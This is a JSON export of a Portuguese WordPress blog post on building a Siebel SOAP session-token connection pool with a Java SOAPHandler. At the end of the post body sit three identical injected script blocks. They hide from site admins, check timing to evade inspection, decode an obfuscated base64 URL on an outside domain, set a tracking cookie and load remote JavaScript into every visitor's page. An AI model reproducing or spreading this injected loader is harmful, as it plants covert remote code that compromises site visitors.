{"id":1333,"date":"2011-04-05T10:04:45","date_gmt":"2011-04-05T13:04:45","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1333"},"modified":"2025-10-26T22:40:45","modified_gmt":"2025-10-27T01:40:45","slug":"pool-de-conexoes-siebel","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/05\/pool-de-conexoes-siebel\/","title":{"rendered":"Pool de conex\u00f5es Siebel"},"content":{"rendered":"<p style=\"text-align: justify;\">Recentemente estive em um projeto e tive que desenvolver uma solu\u00e7\u00e3o bem bacana com integra\u00e7\u00e3o entre Oracle Webcenter e Siebel. O Siebel trabalha com tokens de seguran\u00e7a nas chamadas de servi\u00e7os, o problema \u00e9 que n\u00e3o h\u00e1 implementa\u00e7\u00e3o de WS-Security que fa\u00e7a a autentica\u00e7\u00e3o e tokens de seguran\u00e7a de forma satisfat\u00f3ria e sem problemas. Al\u00e9m disso h\u00e1 outros detalhes de desempenho que a equipe da Siebel disse que \u00e9 fundamental.<\/p>\n<p style=\"text-align: justify;\">A equipe Siebel queria que fosse associada a sess\u00e3o Web do usu\u00e1rio com a sess\u00e3o de conex\u00e3o com o Siebel para as chamadas de servi\u00e7os. O problema dessa solu\u00e7\u00e3o \u00e9 justamente fazer essa associa\u00e7\u00e3o de maneira correta (uma n\u00e3o tem nada a ver com a outra) e tratar solicita\u00e7\u00f5es paralelas. Isso \u00e9 fundamental em ambientes Web. Outro problema \u00e9 que haveriam muitas sess\u00f5es Siebel ociosas, pois ap\u00f3s o usu\u00e1rio realizar a requisi\u00e7\u00e3o, ele fica analisando os dados e navegando na p\u00e1gina, antes de realizar novas requisi\u00e7\u00f5es. A solu\u00e7\u00e3o que eu sugeri foi a implementa\u00e7\u00e3o de um pool de conex\u00f5es\u00a0 compartilhadas com o Siebel, da mesma maneira que utilizamos para Banco de Dados. Para atender o requisito solicitado pela equipe Siebel, definimos o n\u00famero de conex\u00f5es m\u00ednimas igual a 1 e o m\u00e1ximo igual ao n\u00famero de usu\u00e1rios conectados.<\/p>\n<p style=\"text-align: justify;\">Antes de entender o funcionamento do pool Siebel, vamos entender o funcionamento dos tokens no Siebel.<\/p>\n<h2 style=\"text-align: justify;\">Requisi\u00e7\u00e3o an\u00f4nima sem sess\u00e3o<\/h2>\n<p style=\"text-align: justify;\">Essa foi nossa primeira abordagem antes de criar o pool de conex\u00f5es. No header da requisi\u00e7\u00e3o SOAP n\u00e3o enviamos nenhuma informa\u00e7\u00e3o de usu\u00e1rio, apenas definimos o SessionType como None. Para cada requisi\u00e7\u00e3o ele abre uma sess\u00e3o e fecha ao enviar a resposta. O problema dessa implementa\u00e7\u00e3o \u00e9 que embora seja simples, o tempo de cria\u00e7\u00e3o de sess\u00e3o sem o uso do token \u00e9 bem elevado.<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;\n&lt;soap:Header&gt;\n &lt;SessionType xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;None&lt;\/SessionType&gt;\n&lt;\/soap:Header&gt;\n&lt;soap:Body&gt;\n &lt;!-- ... --&gt;\n&lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<h2 style=\"text-align: justify;\">Autoriza\u00e7\u00e3o Siebel, sem sess\u00e3o<\/h2>\n<p style=\"text-align: justify;\">Semelhante \u00e0 anterior, inclusive com os mesmo problemas, mas passando o usu\u00e1rio e senha para autoriza\u00e7\u00e3o.<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;\n&lt;soap:Header&gt;\n &lt;UsernameToken xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;usuario&lt;\/UsernameToken&gt;\n &lt;PasswordText xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;senha&lt;\/PasswordText&gt;\n &lt;SessionType xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;None&lt;\/SessionType&gt;\n&lt;\/soap:Header&gt;\n&lt;soap:Body&gt;\n &lt;!-- ... --&gt;\n&lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<h2 style=\"text-align: justify;\">Autoriza\u00e7\u00e3o Siebel com sess\u00e3o stateless<\/h2>\n<p style=\"text-align: justify;\">Essa foi a solu\u00e7\u00e3o adotada para o pool de conex\u00f5es com o Siebel que explicarei mais adiante. O funcionamento \u00e9 simples de entender, mas um pouco trabalhoso de se implementar j\u00e1 que \u00e9 sempre necess\u00e1rio guardar o \u00faltimo token de cada conex\u00e3o. A primeira requisi\u00e7\u00e3o deve realizar a autoriza\u00e7\u00e3o passando o usu\u00e1rio, senha e o tipo de sess\u00e3o Stateless, com isso uma sess\u00e3o \u00e9 aberta para esse usu\u00e1rio. Ao obter uma resposta da requisi\u00e7\u00e3o, o Siebel retornar\u00e1 o token de seguran\u00e7a que dever\u00e1 ser utilizado na pr\u00f3xima requisi\u00e7\u00e3o, que retornar\u00e1 outro token de seguran\u00e7a que dever\u00e1 ser utilizado na pr\u00f3xima requisi\u00e7\u00e3o e assim por diante. Para finalizar a sess\u00e3o Siebel \u00e9 s\u00f3 passar o usu\u00e1rio e senha com o tipo de sess\u00e3o None.<\/p>\n<h3 style=\"text-align: justify;\">Requisi\u00e7\u00e3o inicial<\/h3>\n<p style=\"text-align: justify;\">Para efetuar o log in e criar a sess\u00e3o \u00e9 necess\u00e1rio passar o seguinte header:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;\n&lt;soap:Header&gt;\n &lt;UsernameToken xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;usuario&lt;\/UsernameToken&gt;\n &lt;PasswordText xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;senha&lt;\/PasswordText&gt;\n &lt;SessionType xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;Stateless&lt;\/SessionType&gt;\n&lt;\/soap:Header&gt;\n&lt;soap:Body&gt;\n &lt;!-- ... --&gt;\n&lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Dessa forma ele dever\u00e1 retornar uma resposta parecida com essa:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;\n&lt;soap:Header&gt;\n &lt;siebel-header:SessionToken xmlns:siebel-header=&quot;http:\/\/siebel.com\/webservices&quot;&gt;TokenCriptografadoComValorEstranhoDoResponse\n&lt;\/siebel-header:SessionToken&gt;\n&lt;\/soap:Header&gt;\n&lt;soap:Body&gt;\n &lt;!-- ... --&gt;\n&lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<h3 style=\"text-align: justify;\">Pr\u00f3ximas Requisi\u00e7\u00f5es<\/h3>\n<p style=\"text-align: justify;\">Para as pr\u00f3ximas requisi\u00e7\u00f5es e necess\u00e1rio recuperar o token da resposta e colocar no header da requisi\u00e7\u00e3o da seguinte forma:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;\n&lt;soap:Header&gt;\n&lt;SessionType xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;Stateless&lt;\/SessionType&gt;\n&lt;SessionToken xmlns=&quot;http:\/\/siebel.com\/webservices&quot;&gt;TokenCriptografadoComValorEstranhoDoResponse&lt;\/SessionToken&gt;\n&lt;\/soap:Header&gt;\n&lt;soap:Body&gt;\n&lt;!-- ... --&gt;\n&lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<p style=\"text-align: justify;\">E assim por diante. Existe a op\u00e7\u00e3o do tipo de sess\u00e3o ser Statefull tamb\u00e9m para manter o estado da sess\u00e3o. O funcionamento \u00e9 o mesmo, s\u00f3 muda o SessionType para Statefull.<\/p>\n<h2 style=\"text-align: justify;\">Pool de conex\u00f5es<\/h2>\n<p style=\"text-align: justify;\">Como assinei contrato de confidencialidade n\u00e3o poderei disponibilizar o c\u00f3digo fonte utilizado no projeto, mas explicarei os caminhos necess\u00e1rios para tudo funcionar adequadamente.<\/p>\n<p style=\"text-align: justify;\">Para a inclus\u00e3o do header nas requisi\u00e7\u00f5es do Siebel, utilizei um SOAPHandler. O SOAPHandler funciona como uma esp\u00e9cie de \"filtro\" para todas as requisi\u00e7\u00f5es que utilize ele. Dessa forma eu posso modificar o header, alterar a requisi\u00e7\u00e3o e obter ou mesmo alterar os dados da resposta. Para realizar isso, \u00e9 s\u00f3 criar uma classe que implemente a interface SOAPHandler como no exemplo e associar com os clientes de cada servi\u00e7o (JAX-WS 2.0).<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npublic class SiebelHandler implements SOAPHandler&lt;SOAPMessageContext&gt; {\n    \/\/...\n}\n<\/pre>\n<p style=\"text-align: justify;\">Dos m\u00e9todos que a interface nos obriga a implementar utilizaremos dois: <em>handleMessage <\/em>e <em>handleFault<\/em>. Que \u00e9 onde iremos modificar os headers e obter os tokens.<\/p>\n<pre class=\"brush: java; highlight: [5,7,8,22,26,31,38,45,57,65,74]; title: ; notranslate\" title=\"\">\n    public boolean handleMessage(SOAPMessageContext smc) {\n        Boolean outboundProperty =\n            (Boolean)smc.get(MessageContext.MESSAGE_OUTBOUND_PROPERTY);\n\n        if (outboundProperty.booleanValue()) {\n\n            SiebelTokenHelper tokenHelper =\n                SiebelSimpleTokenManager.getInstance().getNextToken();\n            tokenUsed(tokenHelper);\n\n            SOAPMessage message = smc.getMessage();\n\n            try {\n                SOAPEnvelope envelope =\n                    smc.getMessage().getSOAPPart().getEnvelope();\n\n                SOAPHeader header = envelope.getHeader();\n                if (header == null) {\n                    header = envelope.addHeader();\n                }\n                \/\/ Token\n                if (tokenHelper.getTokenValue() == null) {\n                    SOAPElement userNameToken =\n                        header.addChildElement(&quot;UsernameToken&quot;, &quot;&quot;,\n                                               &quot;http:\/\/siebel.com\/webservices&quot;);\n                    userNameToken.addTextNode(tokenHelper.getUser());\n\n                    SOAPElement password =\n                        header.addChildElement(&quot;PasswordText&quot;, &quot;&quot;,\n                                               &quot;http:\/\/siebel.com\/webservices&quot;);\n                    password.addTextNode(tokenHelper.getPassword());\n\n                } else {\n\n                    SOAPElement sessionToken =\n                        header.addChildElement(&quot;SessionToken&quot;, &quot;&quot;,\n                                               &quot;http:\/\/siebel.com\/webservices&quot;);\n                    sessionToken.addTextNode(tokenHelper.getTokenValue());\n                }\n\n                SOAPElement sessionType =\n                    header.addChildElement(&quot;SessionType&quot;, &quot;&quot;,\n                                           &quot;http:\/\/siebel.com\/webservices&quot;);\n\n                if (isLogout(envelope)) {\n                    sessionType.addTextNode(&quot;None&quot;);\n                    SiebelSimpleTokenManager.getInstance().removeFromPool(tokenHelper);\n                    tokenHelper = null;\n                } else {\n                    sessionType.addTextNode(&quot;Stateless&quot;);\n                }\n\n            } catch (Exception e) {\n                logger.log(Level.SEVERE, &quot;Erro ao invocar servico&quot;, e);\n            }\n\n        } else {\n            SiebelTokenHelper tokenHelper = getUsedToken();\n            try {\n\n                SOAPMessage message = smc.getMessage();\n                if (tokenHelper != null) {\n                    Node tokenCHild = message.getSOAPHeader().getFirstChild();\n                    if (tokenCHild != null) {\n                        tokenHelper.setTokenValue(tokenCHild.getTextContent());\n                    }\n                }\n\n            } catch (Exception ex) {\n                ex.printStackTrace();\n                tokenHelper.setTokenValue(null);\n            } finally {\n                if (tokenHelper != null) {\n                    SiebelSimpleTokenManager.getInstance().pushElemIntoPool(tokenHelper);\n                }\n            }\n        }\n\n        return outboundProperty;\n\n    }\n\n<\/pre>\n<p style=\"text-align: justify;\">A primeira condi\u00e7\u00e3o na linha 05 verifica se \u00e9 requisi\u00e7\u00e3o ou reposta. Se for requisi\u00e7\u00e3o o valor ser\u00e1 verdadeiro. Na linha 07 e 08 utilizo uma implementa\u00e7\u00e3o de fila (utilizando LinkedList) para recuperar o elemento mais antigo (menos recente usado), removo ele da fila para que outras conex\u00f5es Siebel possam ser utilizadas, ele ser\u00e1 novamente inserido no final da fila (linha 74), ap\u00f3s ter o valor do token atualizado (linha 65) na resposta (linha 57). Na linha 22 verifico se existe token anterior ou se \u00e9 uma conex\u00e3o nova. Se for uma conex\u00e3o nova, atribuo o valor do usu\u00e1rio (linha 26), da senha (linha 31). Caso contr\u00e1rio, utilizo o token (linha 38) atributo anteriomente na resposta (linha 65). Se for uma requisi\u00e7\u00e3o de logout (linha 45), atribuo o SessionType como None, caso contr\u00e1rio Stateless.<\/p>\n<p style=\"text-align: justify;\">O cora\u00e7\u00e3o da implementa\u00e7\u00e3o \u00e9 esse m\u00e9todo, mas ainda n\u00e3o estamos tratando exce\u00e7\u00e3o e reestabelecendo a conex\u00e3o caso a sess\u00e3o expire. Para reestabelecer a conex\u00e3o, basta colocar no catch do cliente uma nova tentativa se o erro tiver o c\u00f3digo 10944642. No nosso <em>handleFault<\/em> basta remover da fila para n\u00e3o ser mais utilizado, caso contr\u00e1rio, se for outro tipo de erro, o token \u00e9 retornado no fault e devemos atribuir para ser utilizado na pr\u00f3xima requisi\u00e7\u00e3o. Quando a sess\u00e3o expira o Siebel retorna a seguinte mensagem:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot; xmlns:xsi=&quot;http:\/\/www.w3.org\/2001\/XMLSchema-instance&quot; xmlns:xsd=&quot;http:\/\/www.w3.org\/2001\/XMLSchema&quot;&gt;\n &lt;SOAP-ENV:Body&gt;\n &lt;SOAP-ENV:Fault&gt;\n &lt;faultcode&gt;SOAP-ENV:Client&lt;\/faultcode&gt;\n &lt;faultstring&gt;Error Code: 10944642 Error Message: Error: Inbound SOAP Message - Session Token is missing or invalid or has expired&lt;\/faultstring&gt;\n &lt;detail&gt;\n &lt;siebelf:errorstack xmlns:siebelf=&quot;http:\/\/www.siebel.com\/ws\/fault&quot;&gt;\n &lt;siebelf:error&gt;\n &lt;siebelf:errorsymbol\/&gt;\n &lt;siebelf:errormsg&gt;Error: Inbound SOAP Message - Session Token is missing or invalid or has expired&lt;\/siebelf:errormsg&gt;\n &lt;\/siebelf:error&gt;\n &lt;\/siebelf:errorstack&gt;\n &lt;\/detail&gt;\n &lt;\/SOAP-ENV:Fault&gt;\n &lt;\/SOAP-ENV:Body&gt;\n&lt;\/SOAP-ENV:Envelope&gt;\n<\/pre>\n<p style=\"text-align: justify;\">Por isso devemos tratar quando obtermos o c\u00f3digo: 10944642, pois n\u00e3o \u00e9 um erro de servi\u00e7o, \u00e9 somente sess\u00e3o expirada. O controle de cria\u00e7\u00e3o de novas conex\u00f5es foi feito em uma classe que  possui a fila de conex\u00f5es e tokens e o controle do n\u00famero m\u00e1ximo foi  feito utilizando um Managed Bean para contabiliza\u00e7\u00e3o de login e logout e  um Session Listener, para caso o usu\u00e1rio esque\u00e7a de clicar no bot\u00e3o Sair.<\/p>\n<p style=\"text-align: justify;\">Para testar a Oracle disponibiliza um VM do Siebel no <a title=\"Oracle E-Delivery\" href=\"https:\/\/edelivery.oracle.com\" target=\"_blank\" rel=\"noopener\">e-delivery<\/a>. Com essa implementa\u00e7\u00e3o, tivemos um ganho de performance absurdo, paralelizamos as requisi\u00e7\u00f5es e otimizamos o uso de sess\u00f5es e compartilhamento de tokens no Siebel.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recentemente estive em um projeto e tive que desenvolver uma solu\u00e7\u00e3o bem bacana com integra\u00e7\u00e3o entre Oracle Webcenter e Siebel. O Siebel trabalha com tokens de seguran\u00e7a nas chamadas de servi\u00e7os, o problema \u00e9 que n\u00e3o h\u00e1 implementa\u00e7\u00e3o de WS-Security <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/05\/pool-de-conexoes-siebel\/\">Continue lendo  <span class=\"screen-reader-text\">  Pool de conex\u00f5es Siebel<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,10,9,76,6],"tags":[],"class_list":["post-1333","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-jee","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1333"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1333\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}